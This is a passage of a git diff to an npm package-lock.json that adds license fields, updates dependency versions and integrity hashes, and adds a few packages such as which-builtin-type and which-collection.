       "integrity": "sha512-w6fIxVE/H1PkLKcCPsFqKE7Kv7QUwhU8qQY2MueZXWx5cPZdwFupLgKK3vntcK98BtNHZtAF4LA/yl2a7k8R6Q==",
       "dev": true,
+      "license": "Apache-2.0",
       "bin": {
         "tsc": "bin/tsc",
         "tsserver": "bin/tsserver"
@@ -9034,20 +10177,25 @@
       "resolved": "https://registry.npmjs.org/umd/-/umd-3.0.3.tgz",
       "integrity": "sha512-4IcGSufhFshvLNcMCV80UnQVlZ5pMOC8mvNPForqwA4+lzYQuetTESLDQkeLmihq8bRcnpbQa48Wb8Lh16/xow==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "umd": "bin/cli.js"
       }
     },
     "node_modules/unbox-primitive": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz",
-      "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz",
+      "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
+        "call-bound": "^1.0.3",
         "has-bigints": "^1.0.2",
-        "has-symbols": "^1.0.3",
-        "which-boxed-primitive": "^1.0.2"
+        "has-symbols": "^1.1.0",
+        "which-boxed-primitive": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -9058,6 +10206,7 @@
       "resolved": "https://registry.npmjs.org/undeclared-identifiers/-/undeclared-identifiers-1.1.3.tgz",
       "integrity": "sha512-pJOW4nxjlmfwKApE4zvxLScM/njmwj/DiUBv7EabwE4O8kRUy+HIwxQtZLBPll/jx1LJyBcqNfB3/cpv9EZwOw==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "acorn-node": "^1.3.0",
         "dash-ast": "^1.0.0",
@@ -9073,13 +10222,15 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/dash-ast/-/dash-ast-1.0.0.tgz",
       "integrity": "sha512-Vy4dx7gquTeMcQR/hDkYLGUnwVil6vk4FOOct+djUnHOUWt+zJPJAaRIXaAFkPXtJjvlY7o3rfRu0/3hpnwoUA==",
-      "dev": true
+      "dev": true,
+      "license": "Apache-2.0"
     },
     "node_modules/union-value": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz",
       "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "arr-union": "^3.1.0",
         "get-value": "^2.0.6",
@@ -9095,6 +10246,7 @@
       "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
       "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -9104,6 +10256,7 @@
       "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz",
       "integrity": "sha512-PcA2tsuGSF9cnySLHTLSh2qrQiJ70mn+r+Glzxv2TWZblxsxCC52BDlZoPCsz7STd9pN7EZetkWZBAvk4cgZdQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "has-value": "^0.3.1",
         "isobject": "^3.0.0"
@@ -9117,6 +10270,7 @@
       "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz",
       "integrity": "sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "get-value": "^2.0.3",
         "has-values": "^0.1.4",
@@ -9131,6 +10285,7 @@
       "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz",
       "integrity": "sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "isarray": "1.0.0"
       },
@@ -9143,14 +10298,15 @@
       "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz",
       "integrity": "sha512-J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/update-browserslist-db": {
-      "version": "1.0.11",
-      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz",
-      "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==",
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz",
+      "integrity": "sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==",
       "dev": true,
       "funding": [
         {
@@ -9166,9 +10322,10 @@
           "url": "https://github.com/sponsors/ai"
         }
       ],
+      "license": "MIT",
       "dependencies": {
-        "escalade": "^3.1.1",
-        "picocolors": "^1.0.0"
+        "escalade": "^3.2.0",
+        "picocolors": "^1.1.1"
       },
       "bin": {
         "update-browserslist-db": "cli.js"
@@ -9181,14 +10338,16 @@
       "version": "4.4.1",
       "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
       "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "punycode": "^2.1.0"
       }
     },
     "node_modules/uri-js/node_modules/punycode": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz",
-      "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==",
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
+      "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -9198,25 +10357,31 @@
       "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
       "integrity": "sha512-Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg==",
       "deprecated": "Please see https://github.com/lydell/urix#deprecated",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/url": {
-      "version": "0.11.1",
-      "resolved": "https://registry.npmjs.org/url/-/url-0.11.1.tgz",
-      "integrity": "sha512-rWS3H04/+mzzJkv0eZ7vEDGiQbgquI1fGfOad6zKvgYQi1SzMmhl7c/DdRGxhaWrVH6z0qWITo8rpnxK/RfEhA==",
+      "version": "0.11.4",
+      "resolved": "https://registry.npmjs.org/url/-/url-0.11.4.tgz",
+      "integrity": "sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "punycode": "^1.4.1",
-        "qs": "^6.11.0"
+        "qs": "^6.12.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
       }
     },
     "node_modules/url/node_modules/qs": {
-      "version": "6.11.2",
-      "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.2.tgz",
-      "integrity": "sha512-tDNIz22aBzCDxLtVH++VnTfzxlfeK5CbqohpSqpJgj1Wg/cQbStNAz3NuqCs5vV+pjBsK4x4pN9HlVh7rcYRiA==",
+      "version": "6.14.0",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.0.tgz",
+      "integrity": "sha512-YWWTjgABSKcvs/nWBi9PycY/JiPJqOD4JA6o9Sej2AtvSGarXxKC3OQSk4pAarbdQlKAh5D4FCQkJNkW+GAn3w==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
-        "side-channel": "^1.0.4"
+        "side-channel": "^1.1.0"
       },
       "engines": {
         "node": ">=0.6"
@@ -9230,6 +10395,7 @@
       "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz",
       "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -9239,6 +10405,7 @@
       "resolved": "https://registry.npmjs.org/util/-/util-0.10.4.tgz",
       "integrity": "sha512-0Pm9hTQ3se5ll1XihRic3FDIku70C+iHUdT/W926rSgHV5QgXsYbKZN8MSC3tJtSkhuROzvsQjAaFENRXr+19A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "inherits": "2.0.3"
       }
@@ -9247,21 +10414,31 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
       "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/util.promisify": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.1.2.tgz",
-      "integrity": "sha512-PBdZ03m1kBnQ5cjjO0ZvJMJS+QsbyIcFwi4hY4U76OQsCO9JrOYjbCFgIF76ccFg9xnJo7ZHPkqyj1GqmdS7MA==",
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.1.3.tgz",
+      "integrity": "sha512-GIEaZ6o86fj09Wtf0VfZ5XP7tmd4t3jM5aZCgmBi231D0DB1AEBa3Aa6MP48DMsAIi96WkpWLimIWVwOjbDMOw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "define-data-property": "^1.1.4",
+        "define-properties": "^1.2.1",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.0.0",
         "for-each": "^0.3.3",
-        "has-proto": "^1.0.1",
-        "has-symbols": "^1.0.3",
-        "object.getownpropertydescriptors": "^2.1.6",
-        "safe-array-concat": "^1.0.0"
+        "get-intrinsic": "^1.2.6",
+        "has-proto": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "object.getownpropertydescriptors": "^2.1.8",
+        "safe-array-concat": "^1.1.3"
+      },
+      "engines": {
+        "node": ">= 0.8"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -9271,7 +10448,8 @@
       "version": "2.0.3",
       "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
       "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/uuid": {
       "version": "3.4.0",
@@ -9279,6 +10457,7 @@
       "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==",
       "deprecated": "Please upgrade  to version 7 or higher.  Older versions may use Math.random() in certain circumstances, which is known to be problematic.  See https://v8.dev/blog/math-random for details.",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "uuid": "bin/uuid"
       }
@@ -9287,6 +10466,7 @@
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
       "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
+      "license": "Apache-2.0",
       "dependencies": {
         "spdx-correct": "^3.0.0",
         "spdx-expression-parse": "^3.0.0"
@@ -9300,6 +10480,7 @@
       "engines": [
         "node >=0.6.0"
       ],
+      "license": "MIT",
       "dependencies": {
         "assert-plus": "^1.0.0",
         "core-util-is": "1.0.2",
@@ -9310,13 +10491,15 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
       "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/vm-browserify": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz",
       "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/w3c-hr-time": {
       "version": "1.0.2",
@@ -9324,6 +10507,7 @@
       "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==",
       "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "browser-process-hrtime": "^1.0.0"
       }
@@ -9333,6 +10517,7 @@
       "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz",
       "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "makeerror": "1.0.12"
       }
@@ -9341,13 +10526,15 @@
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz",
       "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==",
-      "dev": true
+      "dev": true,
+      "license": "BSD-2-Clause"
     },
     "node_modules/whatwg-encoding": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz",
       "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "iconv-lite": "0.4.24"
       }
@@ -9356,13 +10543,15 @@
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz",
       "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/whatwg-url": {
       "version": "6.5.0",
       "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-6.5.0.tgz",
       "integrity": "sha512-rhRZRqx/TLJQWUpQ6bmrt2UV4f0HCQ463yQuONJqC6fO2VoEb1pTYddbe59SkYq87aoM5A3bdhMZiUiVws+fzQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "lodash.sortby": "^4.7.0",
         "tr46": "^1.0.1",
@@ -9374,6 +10563,7 @@
       "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
       "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -9382,16 +10572,74 @@
       }
     },
     "node_modules/which-boxed-primitive": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz",
-      "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==",
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz",
+      "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "is-bigint": "^1.0.1",
-        "is-boolean-object": "^1.1.0",
-        "is-number-object": "^1.0.4",
-        "is-string": "^1.0.5",
-        "is-symbol": "^1.0.3"
+        "is-bigint": "^1.1.0",
+        "is-boolean-object": "^1.2.1",
+        "is-number-object": "^1.1.1",
+        "is-string": "^1.1.1",
+        "is-symbol": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/which-builtin-type": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz",
+      "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "function.prototype.name": "^1.1.6",
+        "has-tostringtag": "^1.0.2",
+        "is-async-function": "^2.0.0",
+        "is-date-object": "^1.1.0",
+        "is-finalizationregistry": "^1.1.0",
+        "is-generator-function": "^1.0.10",
+        "is-regex": "^1.2.1",
+        "is-weakref": "^1.0.2",
+        "isarray": "^2.0.5",
+        "which-boxed-primitive": "^1.1.0",
+        "which-collection": "^1.0.2",
+        "which-typed-array": "^1.1.16"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/which-builtin-type/node_modules/isarray": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+      "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/which-collection": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz",
+      "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "is-map": "^2.0.3",
+        "is-set": "^2.0.3",
+        "is-weakmap": "^2.0.2",
+        "is-weakset": "^2.0.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -9400,19 +10648,23 @@
     "node_modules/which-module": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz",
-      "integrity": "sha512-F6+WgncZi/mJDrammbTuHe1q0R5hOXv/mBaiNA2TCNT/LTHusX0V+CJnj9XT8ki5ln2UZyyddDgHfCzyrOH7MQ=="
+      "integrity": "sha512-F6+WgncZi/mJDrammbTuHe1q0R5hOXv/mBaiNA2TCNT/LTHusX0V+CJnj9XT8ki5ln2UZyyddDgHfCzyrOH7MQ==",
+      "license": "ISC"
     },
     "node_modules/which-typed-array": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.11.tgz",
-      "integrity": "sha512-qe9UWWpkeG5yzZ0tNYxDmd7vo58HDBc39mZ0xWWpolAGADdFOzkfamWLDxkOWcvHQKVmdTyQdLD4NOfjLWTKew==",
+      "version": "1.1.19",
+      "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz",
+      "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "available-typed-arrays": "^1.0.5",
-        "call-bind": "^1.0.2",
-        "for-each": "^0.3.3",
-        "gopd": "^1.0.1",
-        "has-tostringtag": "^1.0.0"
+        "available-typed-arrays": "^1.0.7",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "for-each": "^0.3.5",
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "has-tostringtag": "^1.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -9426,6 +10678,7 @@
       "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz",
       "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -9434,6 +10687,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
       "integrity": "sha512-vAaEaDM946gbNpH5pLVNR+vX2ht6n0Bt3GXwVB1AuAqZosOvHNF3P7wDnh8KLkSqgUh0uh77le7Owgoz+Z9XBw==",
+      "license": "MIT",
       "dependencies": {
         "string-width": "^1.0.1",
         "strip-ansi": "^3.0.1"
@@ -9446,6 +10700,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
       "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -9454,6 +10709,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
       "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==",
+      "license": "MIT",
       "dependencies": {
         "number-is-nan": "^1.0.0"
       },
@@ -9465,6 +10721,7 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
       "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==",
+      "license": "MIT",
       "dependencies": {
         "code-point-at": "^1.0.0",
         "is-fullwidth-code-point": "^1.0.0",
@@ -9478,6 +10735,7 @@
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
       "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^2.0.0"
       },
@@ -9489,13 +10747,15 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
       "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/write": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/write/-/write-1.0.3.tgz",
       "integrity": "sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "mkdirp": "^0.5.1"
       },
@@ -9508,6 +10768,7 @@
       "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-2.4.1.tgz",
       "integrity": "sha512-TGHFeZEZMnv+gBFRfjAcxL5bPHrsGKtnb4qsFAws7/vlh+QfwAaySIw4AXP9ZskTTh5GWu3FLuJhsWVdiJPGvg==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "graceful-fs": "^4.1.11",
         "imurmurhash": "^0.1.4",
@@ -9515,10 +10776,11 @@
       }
     },
     "node_modules/ws": {
-      "version": "5.2.3",
-      "resolved": "https://registry.npmjs.org/ws/-/ws-5.2.3.tgz",
-      "integrity": "sha512-jZArVERrMsKUatIdnLzqvcfydI85dvd/Fp1u/VOpfdDWQ4c9qWXe+VIeAbQ5FrDwciAkr+lzofXLz3Kuf26AOA==",
+      "version": "5.2.4",
+      "resolved": "https://registry.npmjs.org/ws/-/ws-5.2.4.tgz",
+      "integrity": "sha512-fFCejsuC8f9kOSu9FYaOw8CdO68O3h5v0lg4p74o8JqWpwTf9tniOD+nOB78aWoVSS6WptVUmDrp/KPsMVBWFQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "async-limiter": "~1.0.0"
       }
@@ -9527,13 +10789,15 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz",
       "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==",
-      "dev": true
+      "dev": true,
+      "license": "Apache-2.0"
     },
     "node_modules/xtend": {
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
       "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.4"
       }
@@ -9541,18 +10805,21 @@
     "node_modules/y18n": {
       "version": "3.2.2",
       "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.2.tgz",
-      "integrity": "sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ=="
+      "integrity": "sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==",
+      "license": "ISC"
     },
     "node_modules/yallist": {
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
       "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/yargs": {
       "version": "6.6.0",
       "resolved": "https://registry.npmjs.org/yargs/-/yargs-6.6.0.tgz",
       "integrity": "sha512-6/QWTdisjnu5UHUzQGst+UOEuEVwIzFVGBjq3jMTFNs5WJQsH/X6nMURSaScIdF5txylr1Ao9bvbWiKi2yXbwA==",
+      "license": "MIT",
       "dependencies": {
         "camelcase": "^3.0.0",
         "cliui": "^3.2.0",
@@ -9574,6 +10841,7 @@
       "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-10.1.0.tgz",
       "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "camelcase": "^4.1.0"
       }
@@ -9583,6 +10851,7 @@
       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz",
